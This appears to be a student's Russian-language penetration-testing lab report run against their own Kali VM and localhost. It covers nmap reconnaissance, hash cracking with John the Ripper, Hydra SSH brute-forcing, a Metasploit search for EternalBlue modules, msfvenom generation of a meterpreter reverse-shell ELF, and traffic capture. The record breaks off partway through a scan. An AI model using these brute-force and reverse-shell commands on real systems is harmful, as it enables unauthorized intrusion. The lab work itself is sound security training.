

ЛАБОРАТОРНАЯ РАБОТА №7: «Полный цикл пентеста»

Легенда: Ты — пентестер, которому поручено провести тест на проникновение для компании. Твоя цель — найти уязвимости в их сети, эксплуатировать их и показать, какой ущерб может нанести реальный хакер. Все действия выполняются в контролируемой среде (твоя VM и localhost).

Задача 1. Разведка (Reconnaissance)

Шаг 1.1. Просканируй свою локальную сеть (или localhost) с помощью nmap:

- Найди все активные хосты

```
(kali@kali)-[~]
$ sudo nmap -sn 127.0.0.1
[sudo] password for kali:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-29 13:46 -0400
Nmap scan report for localhost (127.0.0.1)
Host is up.
Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds
```

была использована команда `sudo nmap -sn 127.0.0.1`, это так называемое Ping сканирование, оно просто смотрит, какие хосты доступны, но не сканирует их, то есть не дает информацию четко о них.

- Определи открытые порты

```
(kali@kali)-[~]
$ sudo nmap -sS 127.0.0.1
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-29 13:55 -0400
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000050s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
2222/tcp  open  EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
```

была использована команда `sudo nmap -sS 127.0.0.1`, она быстро отправляет SYN запросы и сразу видит, открыт порт или закрыт, не перегружая систему.

- Попробуй определить ОС и версии сервисов

```

(kali@kali)-[~]
$ sudo nmap -O 127.0.0.1
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-29 13:59 -0400
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000050s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
2222/tcp  open  EtherNetIP-1
Device type: general purpose
Running: Linux 5.X|6.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:6
OS details: Linux 5.0 - 6.2
Network Distance: 0 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.63 seconds

```

использовалась команда `sudo nmap -O 127.0.0.1`, эта команда показывает информацию об ОС, в результате видим, что это Linux 5.X|6.X, далее видим какую-то информация про ядро, и далее детали, ну то есть возможные версии нашего линукс, это 5.0-6.2

Шаг 1.2. Используем searchsploit для поиска известных уязвимостей:

- Найди эксплойты для одной из обнаруженных служб (например, SSH, Apache)

для начала определим версию используя флаг `-sV`, он определяет версии сервисов, а ssh это как раз сервис. поняли, что ssh версии 10.3

```

(kali@kali)-[~]
$ sudo nmap -sV -p 2222 127.0.0.1
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-29 14:07 -0400
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000091s latency).

PORT      STATE SERVICE VERSION
2222/tcp  open  ssh      OpenSSH 10.3p1 Debian 4 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds

```

далее используем searchsploit для поиска эксплойтов.

```

(kali@kali)-[~]
$ searchsploit openssh 10.3
Exploits: No Results
Shellcodes: No Results

```

результатов не показало, я прочитала, что эта версия очень новая и для нее может не быть критических эксплоитов удаленного выполнения кода.

- Скопируй один эксплоит для изучения

Задача 2. Сканирование уязвимостей

Шаг 2.1. Запусти nikto против локального веб-сервера (если есть) или против example.com:

```
(kali@kali)-[~]
$ nikto -h https://example.com
- Nikto v2.6.0

+ Target IP:      172.66.147.243
+ Target Hostname: example.com
+ Target Port:    443

+ SSL Info:      Subject: /CN=example.com
                  CN:      example.com
                  SAN:      example.com, *.example.com
                  Ciphers:  TLS_AES_256_GCM_SHA384
                  Issuer:   /C=US/O=SSL Corporation/CN=Cloudflare TLS Issuing ECC CA 3
+ Platform:      Unknown
+ Start Time:     2026-07-29 14:24:29 (GMT-4)

+ Server: cloudflare
+ Multiple IPs found: 172.66.147.243, 104.20.23.154, 2606:4700:10::6814:179a, 2606:4700:10::ac42:93f3
+ ERROR: Failed to check for updates: 403
+ [999106] /: Cloudflare detected via cf-ray header. Recommend proxying via Burp or mitmproxy to avoid TLS fingerprint blocks. See: https://github.com/sullo/nikto/wiki/Using-a-Proxy
+ No CGI Directories found (use '-C all' to force check all possible dirs). CGI tests skipped.
+ ERROR: ** Error limit (20) reached for host, giving up. Last error: opening stream: ssl connect failed. **
+ ERROR: ** Consider using mitmproxy to avoid TLS fingerprinting. **
- STATUS: Completed 97 requests (~1% complete, ~17.2 minutes left): currently in plugin 'Site Files'
- STATUS: Running average: Not enough data.
+ Scan terminated: 20 errors and 1 item reported on the remote host
+ End Time:       2026-07-29 14:24:42 (GMT-4) (13 seconds)

+ 1 host(s) tested
```

- Проанализируй найденные уязвимости
- Оцени критичность каждой

сканирование завершилось с ошибкой (аварийно) из-за блокировки HTTP запросов службой Cloudflare. я зауглила, что можно сделать, чтобы не выбивало столько ошибок, тут сам nikto рекомендует настроить mitmproxy.

```
(kali@kali)-[~]
$ sudo apt update && sudo apt install mitmproxy -y
[sudo] password for kali:
Get:1 http://mirror.pyratelan.org/kali kali-rolling InRelease [34.0 kB]
Get:2 http://mirror.pyratelan.org/kali kali-rolling/main amd64 Packages [21.3 MB]
Get:3 http://mirror.pyratelan.org/kali kali-rolling/main amd64 Contents (deb) [53.2 MB]
Get:4 http://mirror.pyratelan.org/kali kali-rolling/contrib amd64 Packages [103 kB]
Get:5 http://mirror.pyratelan.org/kali kali-rolling/contrib amd64 Contents (deb) [189 kB]
Get:6 http://mirror.pyratelan.org/kali kali-rolling/non-free amd64 Packages [169 kB]
Get:7 http://mirror.pyratelan.org/kali kali-rolling/non-free amd64 Contents (deb) [888 kB]
Get:8 http://mirror.pyratelan.org/kali kali-rolling/non-free-firmware amd64 Packages [15.8 kB]
Get:9 http://mirror.pyratelan.org/kali kali-rolling/non-free-firmware amd64 Contents (deb) [40.5 kB]
Fetched 76.0 MB in 37s (2,037 kB/s)
1710 packages can be upgraded. Run 'apt list --upgradable' to see them.
The following packages were automatically installed and are no longer required:
  libdnsl3.6 libicu76 libonnx1t64 libonnxruntime-providers libonnxruntime1.21 libxnnpack0.20241108 libzxing3 python3-pysnmp4
Use 'sudo apt autoremove' to remove them.

Upgrading:
mitmproxy
Never miss a message!
Enable notifications to stay updated
Summary:
  Upgrading: 1, Installing: 0, Removing: 0, Not Upgrading: 1709
  Download size: 1,329 kB
  Space needed: 5,120 B / 60.6 GB available
Get:1 http://kali.download/kali kali-rolling/main amd64 mitmproxy all 12.2.3-0kali2 [1,329 kB]
Fetched 1,329 kB in 1s (2,183 kB/s)
(Reading database... 426517 files and directories currently installed.)
Preparing to unpack ./mitmproxy_12.2.3-0kali2_all.deb...
Unpacking mitmproxy (12.2.3-0kali2) over (12.2.1-0kali1)...
Setting up mitmproxy (12.2.3-0kali2)...
Processing triggers for kali-menu (2026.2.2)...
```

тут мы установили mitmproxy

далее в новом терминале откроем и введем команду mitmproxy

Так как вы сканируете защищенный сайт (https://), mitmproху должен будет расшифровывать и заново зашифровывать HTTPS-трафик (выступить в роли Man-in-the-Middle). Чтобы Nikto не ругался на подмену сертификатов, операционная система должна доверять сертификату mitmproху.

Шаг 2.2. Используйте nmap с NSE-скриптами для поиска уязвимостей:

- Запусти скрипты vuln против localhost
- Проанализируй результаты

Задача 3. Атака на пароли

Шаг 3.1. Создай тестовые хэши паролей:

- Используй несколько простых паролей (например, "password", "123456", "admin")
- Создай хэши MD5 и SHA-256

```
(kali@kali)-[~]
$ echo -n "password" | sha256sum > hash.txt

(kali@kali)-[~]
$ echo -n "123456" | md5sum > hash1.txt
```

воспользовались командой echo -n "password" | sha256sum > hash.txt

Шаг 3.2. Взломай хэши с помощью John the Ripper:

- Используй атаку по словарю (rockyou.txt)
- Попробуй атаку с правилами

```
(kali@kali)-[~]
$ john --wordlist=/home/kali/rockyou.txt --format=Raw-MD5 hash1.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
123456 (?)
1g 0:00:00:00 DONE (2026-07-29 15:07) 100.0g/s 38400p/s 38400c/s 38400C/s 123456..michael1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```



```
(kali@kali)-[~]
$ john --wordlist=/home/kali/rockyou.txt --format=Raw-SHA256 hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=2
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password (?)
1g 0:00:00:00 DONE (2026-07-29 15:09) 33.33g/s 1092Kp/s 1092Kc/s 1092KC/s 123456..dyesebel
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.
```

Шаг 3.3. (Опционально) Попробуй Hashcat:

- Сравни скорость взлома с John
- Попробуй разные режимы атак

у меня тут hashcat не очень хорошо работает почему-то, но я им пользовалась на винде, она реально быстрая как будто, я пробовала атаку по словарю, используя rockyou.txt и по маске+словарь. поэтому поверь мне наслово))))

Шаг 3.4. (Опционально) Попробуй Hydra против SSH localhost:

- Создай пользователя с простым паролем
- Попробуй подобрать пароль через hydra

сначала мы эту гидру установили.

```
(kali@kali)-[~]
$ sudo apt update && sudo apt install hydra
[sudo] password for kali:
Get:1 http://kali.download/kali kali-rolling InRelease [34.0 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 Packages [21.4 MB]
Get:3 http://kali.download/kali kali-rolling/main amd64 Contents (deb) [53.2 MB]
Get:4 http://kali.download/kali kali-rolling/non-free amd64 Packages [169 kB]
Fetched 74.8 MB in 14s (5,307 kB/s)
1717 packages can be upgraded. Run 'apt list --upgradable' to see them.
The following packages were automatically installed and are no longer required:
  libdnsl3.6 libicu76 libonnx1t64 libonnxruntime-providers libonnxruntime1.21 libxnnpack0.20241108 libxring3 python3-pysnmp4
Use 'sudo apt autoremove' to remove them.

Upgrading:
  hydra libbson2-2 libmongoc2-2 libmongocrypt0

Summary:
  Upgrading: 4, Installing: 0, Removing: 0, Not Upgrading: 1713
  Download size: 2,159 kB
  Space needed: 39.9 kB / 60.3 GB available

Continue? [Y/n] y
Get:1 http://kali.download/kali kali-rolling/main amd64 libbson2-2 amd64 2.3.3-1 [91.7 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 libmongocrypt0 amd64 1.20.1-1 [1,380 kB]
Get:3 http://kali.download/kali kali-rolling/main amd64 libmongoc2-2 amd64 2.3.3-1 [406 kB]
Get:4 http://kali.download/kali kali-rolling/main amd64 hydra amd64 9.7-1 [281 kB]
Fetched 2,159 kB in 1s (3,217 kB/s)
(Reading database... 426517 files and directories currently installed.)
Preparing to unpack .../libbson2-2_2.3.3-1_amd64.deb...
Unpacking libbson2-2 (2.3.3-1) over (2.2.3-1)...
Preparing to unpack .../libmongocrypt0_1.20.1-1_amd64.deb...
Unpacking libmongocrypt0:amd64 (1.20.1-1) over (1.17.0-1)...
Preparing to unpack .../libmongoc2-2_2.3.3-1_amd64.deb...
Unpacking libmongoc2-2 (2.3.3-1) over (2.2.3-1)...
Preparing to unpack .../archives/hydra_9.7-1_amd64.deb...
Unpacking hydra (9.7-1) over (9.6-3)...
Setting up libbson2-2 (2.3.3-1)...
Setting up libmongocrypt0:amd64 (1.20.1-1)...
Setting up libmongoc2-2 (2.3.3-1)...
Setting up hydra (9.7-1)...
Processing triggers for libc-bin (2.42-13)...
Processing triggers for man-db (2.13.1-1)...
Processing triggers for kali-menu (2026.2.2)...
```

затем создали нового пользователя testuser2 с паролем kali123

```
(kali@kali)-[~]  
$ sudo adduser testuser1  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for testuser1  
Enter the new value, or press ENTER for the default  
  Full Name []:  
  Room Number []:  
  Work Phone []:  
  Home Phone []:  
  Other []:  
Is the information correct? [Y/n] y
```

попробуем достать этот пароль при помощи команды hydra -l testuser2 -P /home/kali/rockyou.txt 10.0.2.15 ssh -t 16, где флаги:

-l значит для какого пользователя мы подбираем пароль, -P значит путь к файлу со словарем, -t значит количество потоков (по умолчанию 16), мы пока сделали 16

```
(kali@kali)-[~]  
$ hydra -l testuser2 -P /home/kali/rockyou.txt 10.0.2.15 ssh -t 16  
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-30 06:40:25  
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:l/p:14344398), -896525 tries per task  
[DATA] attacking ssh://10.0.2.15:22/  
[STATUS] 343.00 tries/min, 343 tries in 00:01h, 14344055 to do in 696:60h, 16 active
```

написано, что файл rockyou.txt будет подбирать пароль 696 часов, это слишеом долго, поэтому я приняла решение сделать кастомный словарь на пару паролей, чтобы перебор был быстрым.

```

(kali@kali)-[~]
$ cat > wordlist.txt << 'EOF'
heredoc> password
heredoc> 123456
heredoc> kali
heredoc> kali123
heredoc> naria2006
heredoc> maria2006
heredoc> kakashka
heredoc> qwerty
heredoc> minskbelarus
heredoc> pass
heredoc> hacker
heredoc> cybersecurity
heredoc> linux
heredoc> michael
heredoc> BillieJean
heredoc> KylianMbappe
heredoc> Ronaldo
heredoc> Messi
heredoc> Roblox
heredoc> programmer
heredoc> olga1997
heredoc> dota2
heredoc> pudge2003!
heredoc> EOF

```

вот пробуем теперь с новым словарем

```

(kali@kali)-[~]
$ hydra -l testuser2 -P /home/kali/wordlist.txt 10.0.2.15 ssh -t 16
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-30 06:50:58
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 23 login tries (1:1/p:23), ~2 tries per task
[DATA] attacking ssh://10.0.2.15:22/
[22][ssh] host: 10.0.2.15 login: testuser2 password: kali123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-30 06:51:02

```

получилось! пароль kali123.

Задача 4. Эксплуатация (в безопасной среде)

Шаг 4.1. Изучи Metasploit:

- Запусти msfconsole
- Найди эксплойт для известной уязвимости (например, MS17-010 EternalBlue для Windows, но не запускай его против реальных систем!)
- Изучи настройки и payload'ы

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Display the Framework log using the log command, learn
more with help log

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018  es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)

Stack: 90909090.90909090.90909090.90909090
90909090.90909090.90909090.90909090
90909090.90909090.90909090.90909090
90909090.90909090.90909090.90909090
90909090.90909090.90909090.90909090
90909090.90909090.90909090.90909090
.....
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....cccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....
fffffffc.....
fffffffc.....
fffffffc.....
fffffffc.....
fffffffc.....
.....

Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

=[ metasploit v6.4.124-dev ]
+ -- --[ 2,632 exploits - 1,328 auxiliary - 1,707 payloads ]
+ -- --[ 431 post - 49 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

я почитала про эти шутки со стороны компании metasploit, и что это просто шуточный баннер и все работает на самом деле. сейчас выйдем из программы и зайдем заново и все станет нормально.

```
msf > exit

(kali@kali)-[~]
$ msfconsole
Metasploit tip: The use command supports fuzzy searching to try and
select the intended module, e.g., use kerberos/get_ticket or use
kerberos forge silver ticket

+-----+
| METASPLOIT by Rapid7 |
+-----+
|
|  =c(-----o(-----_.()
|      \      /
|      RECON
|
|  EXPLOIT
|  [msf >]
|  \(\@)(\@)(\@)(\@)(\@)(\@)/
|  *****
|
|  o o o      o o
|  o
|  *****
|  PAYLOAD
|  (\@)(\@)***\(\@)(\@)***(\@)
|  = = = = =
|
|  \V\V\V/
|  LOOT
|  (---)
|  (---)
|  (---)
|
+-----+

=[ metasploit v6.4.124-dev ]
+ -- --[ 2,632 exploits - 1,328 auxiliary - 1,710 payloads ]
+ -- --[ 432 post - 49 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

воооооот какая красота.

я наугад натыкала команду `search ms17_010 type:exploit platform:windows` и мне выдало два типа эксплойтов: `eternalblue` и `presxес`.

```
msf > search ms17_010 type:exploit platform:windows

Matching Modules
=====
| Name | Disclosure Date | Rank | Check | Description | |
|---|---|---|---|---|---|
| 0 | exploit/windows/smb/ms17_010_eternalblue | 2017-03-14 | average | Yes | MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption |
| 1 | \ target: Automatic Target | . | . | . | . |
| 2 | \ target: Windows 7 | . | . | . | . |
| 3 | \ target: Windows Embedded Standard 7 | . | . | . | . |
| 4 | \ target: Windows Server 2008 R2 | . | . | . | . |
| 5 | \ target: Windows 8 | . | . | . | . |
| 6 | \ target: Windows 8.1 | . | . | . | . |
| 7 | \ target: Windows Server 2012 | . | . | . | . |
| 8 | \ target: Windows 10 Pro | . | . | . | . |
| 9 | \ target: Windows 10 Enterprise Evaluation | . | . | . | . |
| 10 | exploit/windows/smb/ms17_010_psexec | 2017-03-14 | normal | Yes | MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution |
| 11 | \ target: Automatic | . | . | . | . |
| 12 | \ target: PowerShell | . | . | . | . |
| 13 | \ target: Native upload | . | . | . | . |
| 14 | \ target: MOF upload | . | . | . | . |
| 15 | \ AKA: ETERNALSYNERGY | . | . | . | . |
| 16 | \ AKA: ETERNALROMANCE | . | . | . | . |
| 17 | \ AKA: ETERNALCHAMPION | . | . | . | . |
| 18 | \ AKA: ETERNALBLUE | . | . | . | . |

Interact with a module by name or index. For example info 18, use 18 or use exploit/windows/smb/ms17_010_psexec
```

судя по описанию, этот эксплойт относится к удаленной уязвимости на пул ядра, ну то есть она критическая, хотя написано rank average, то есть обычная, типа часто встречающаяся что ли. ее цель - это Windows 7, 8, 10 и их ответвлений.

Шаг 4.2. Создай payload с помощью msfvenom:

- Сгенерируй reverse shell для Linux
- Изучи структуру payload'a

```
(kali@kali)-[~]
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: shell.elf
```

вот получилась такая команда: `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f elf -o shell.elf`

здесь -p это путь к нашему payload, LHOST это мой IP адрес LPORT это порт на котором мы будем запускать наш reverse shell -f это у нас формат выходного файла ну то есть расширение (в нашем случае это elf, так как у нас линукс, если была бы винда, то это было бы exe) а -o это путь и имя сохраняемого файла, у нас это shell/elf.

воспользовавшись командой `readelf -h shell.elf` мы посмотрим структуру нашего файла. видим заголовок, тип файла (исполняемый), класс файла elf64, ОС это семейство UNIX, размеры заголовков и тому подобное.

```

(kali@kali)-[~]
$ readelf -h shell.elf
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                               ELF64
  Data:                               2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                             UNIX - System V
  ABI Version:                       0
  Type:                               EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:                0x400078
  Start of program headers:           64 (bytes into file)
  Start of section headers:           0 (bytes into file)
  Flags:                              0x0
  Size of this header:                 64 (bytes)
  Size of program headers:             56 (bytes)
  Number of program headers:           1
  Size of section headers:             0 (bytes)
  Number of section headers:           0
  Section header string table index:  0

```

Задача 5. Анализ трафика

Шаг 5.1. Захвати трафик во время "атаки":

- Используй tcpdump или tshark для захвата трафика во время сканирования nmap
- Проанализируй, как выглядит сканирование в трафике

мы начали захват трафика при помощи команды `sudo tcpdump -i eth0 -w nmap_attack.pcap`, тут флаги `-i` означает интерфейс, у нас два типа интерфейсов есть: это `lo` то есть интерфейс петля, это мы - `127.0.0.1` и есть интерфейс `eth0` это уже интерфейс для связи с внешним миром - это `10.0.2.15`. флаг `-w` это записи трафика в файл с расширением `pcap`

```

(kali@kali)-[~]
$ sudo tcpdump -i eth0 -w nmap_attack.pcap
[sudo] password for kali:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

```

далее мы начинаем сканирование трафика на портах `21 22 80 443` во втором терминале.

для этого используем команду `sudo nmap -sS -p 21,22,80,443 10.0.2.15`

```
(kali@kali)-[~]  
$ nmap -sS -p 21,22,80,443 10.0.2.15  
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-30 08:08 -0400  
Nmap scan report for 10.0.2.15  
Host is up (0.00016s latency).  
  
PORT      STATE      SERVICE  
21/tcp    filtered  ftp  
22/tcp    open      ssh  
80/tcp    filtered  http  
443/tcp   filtered  https  
  
Nmap done: 1 IP address (1 host up) scanned in 1.92 seconds
```

получили, что открытый порт только один - это 22 (ssh), остальные порты закрыты.

теперь заканчиваем перехват и закрываем первый терминал

```
(kali@kali)-[~]  
$ sudo tcpdump -i eth0 -w nmap_attack.pcap  
[sudo] password for kali:  
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes  
^C3055 packets captured  
3055 packets received by filter  
0 packets dropped by kernel
```

получается перехвачено 3055 пакетов.

теперь прочтём файл pcap при помощи команды `tcpdump -r nmap_attack.pcap -n`

вот кусочек вывода


```

(kali@kali)-[~]
$ tcpdump -r nmap_attack.pcap -n
reading from file nmap_attack.pcap, link-type EN10MB (Ethernet), snapshot length 262144
08:07:06.599853 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [P.], seq 1103878494:1103878668, ack 1085697, win 65535, length 174
08:07:06.600132 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [.], ack 174, win 65535, length 0
08:07:06.635628 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [P.], seq 1:121, ack 174, win 65535, length 120
08:07:06.635667 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [.], ack 121, win 65535, length 0
08:07:08.627179 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [P.], seq 174:364, ack 121, win 65535, length 190
08:07:08.627428 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [.], ack 364, win 65535, length 0
08:07:08.661223 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [P.], seq 121:241, ack 364, win 65535, length 120
08:07:08.661263 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [.], ack 241, win 65535, length 0
08:07:10.609698 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [P.], seq 364:554, ack 241, win 65535, length 190
08:07:10.610027 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [.], ack 554, win 65535, length 0
08:07:10.645206 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [P.], seq 241:361, ack 554, win 65535, length 120
08:07:10.645273 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [.], ack 361, win 65535, length 0
08:07:12.656001 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [P.], seq 554:760, ack 361, win 65535, length 206
08:07:12.657078 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [.], ack 760, win 65535, length 0
08:07:12.690937 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [P.], seq 361:481, ack 760, win 65535, length 120
08:07:12.690974 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [.], ack 481, win 65535, length 0
08:07:14.651565 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [P.], seq 760:916, ack 481, win 65535, length 156
08:07:14.652637 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [.], ack 916, win 65535, length 0
08:07:14.686908 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [P.], seq 481:601, ack 916, win 65535, length 120
08:07:14.686946 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [.], ack 601, win 65535, length 0
08:07:16.628408 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [P.], seq 916:1090, ack 601, win 65535, length 174
08:07:16.629013 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [.], ack 1090, win 65535, length 0
08:07:16.664890 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [P.], seq 601:721, ack 1090, win 65535, length 120
08:07:16.664933 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [.], ack 721, win 65535, length 0
08:07:18.630994 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [P.], seq 1090:1296, ack 721, win 65535, length 206
08:07:18.631273 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [.], ack 1296, win 65535, length 0
08:07:18.665199 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [P.], seq 721:841, ack 1296, win 65535, length 120
08:07:18.665228 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [.], ack 841, win 65535, length 0
08:07:19.115611 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [P.], seq 1296:1470, ack 841, win 65535, length 174
08:07:19.116461 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [.], ack 1470, win 65535, length 0
08:07:19.177428 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [P.], seq 841:961, ack 1470, win 65535, length 120
08:07:19.177470 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [.], ack 961, win 65535, length 0
08:07:19.216898 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [P.], seq 1470:1676, ack 961, win 65535, length 206
08:07:19.217489 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [.], ack 1676, win 65535, length 0
08:07:20.679738 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [P.], seq 1676:1832, ack 961, win 65535, length 156
08:07:20.680216 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [.], ack 1832, win 65535, length 0
08:07:20.715648 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [P.], seq 961:1081, ack 1832, win 65535, length 120
08:07:20.715681 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [.], ack 1081, win 65535, length 0
08:07:22.271005 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [P.], seq 1081:1217, ack 1832, win 65535, length 136
08:07:22.271039 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [.], ack 1217, win 65535, length 0
08:07:22.321333 IP 10.0.2.15.60270 > 149.154.167.99.443: Flags [P.], seq 1832:2038, ack 1217, win 65535, length 206
08:07:22.321600 IP 149.154.167.99.443 > 10.0.2.15.60270: Flags [.], ack 2038, win 65535, length 0
08:07:22.517421 IP 10.0.2.15.59958 > 192.168.0.1.53: 40833+ A? kws2-1.web.telegram.org. (41)
08:07:22.517480 IP 10.0.2.15.59958 > 192.168.0.1.53: 2429+ AAAA? kws2-1.web.telegram.org. (41)
08:07:22.535304 IP 192.168.0.1.53 > 10.0.2.15.59958: 40833 1/0/0 A 149.154.167.99 (57)
08:07:22.535305 IP 192.168.0.1.53 > 10.0.2.15.59958: 2429 1/0/0 AAAA 2001:67c:4e8:f004::9 (69)
08:07:22.555459 IP 10.0.2.15.44688 > 192.168.0.1.53: 44813+ A? kws2-1.web.telegram.org. (41)

```

1. **Запрос от атакующего:** Ваш IP отправляет пакет с флагом [S] (SYN) на исследуемый порт цели.
2. **Ответ от открытого порта:** Цель отвечает пакетом [S.] (SYN-ACK).
3. **Сброс от атакующего:** Ваш компьютер мгновенно отправляет пакет [R] (RST), разрывая соединение до его полной установки, чтобы не оставлять логов в приложениях цели.
4. **Ответ от закрытого порта:** Если порт закрыт, цель сразу вернет пакет [R.] (RST-ACK).

Шаг 5.2. Попробуй обнаружить сканирование:

- Запусти nmap против localhost в одном терминале
- В другом терминале запусти tcpdump для перехвата
- Проанализируй результаты

для этого запустим перехват трафика при помощи tcpdump -i lo -n с 50 tcp

Ключ -i lo указывает слушать локальный интерфейс, -n отключает преобразование IP в имена, а с 50 остановит перехват автоматически после 50 пакетов.


```
(kali㉿kali)-[~]  
$ sudo tcpdump -i lo -n -c 50 tcp  
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode  
listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
```

далее сканируем сеть нашу

```
(kali㉿kali)-[~]  
$ nmap -sS -p 21,22,80,443 127.0.0.1  
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-30 08:43 -0400  
Nmap scan report for localhost (127.0.0.1)  
Host is up (0.000052s latency).  
  
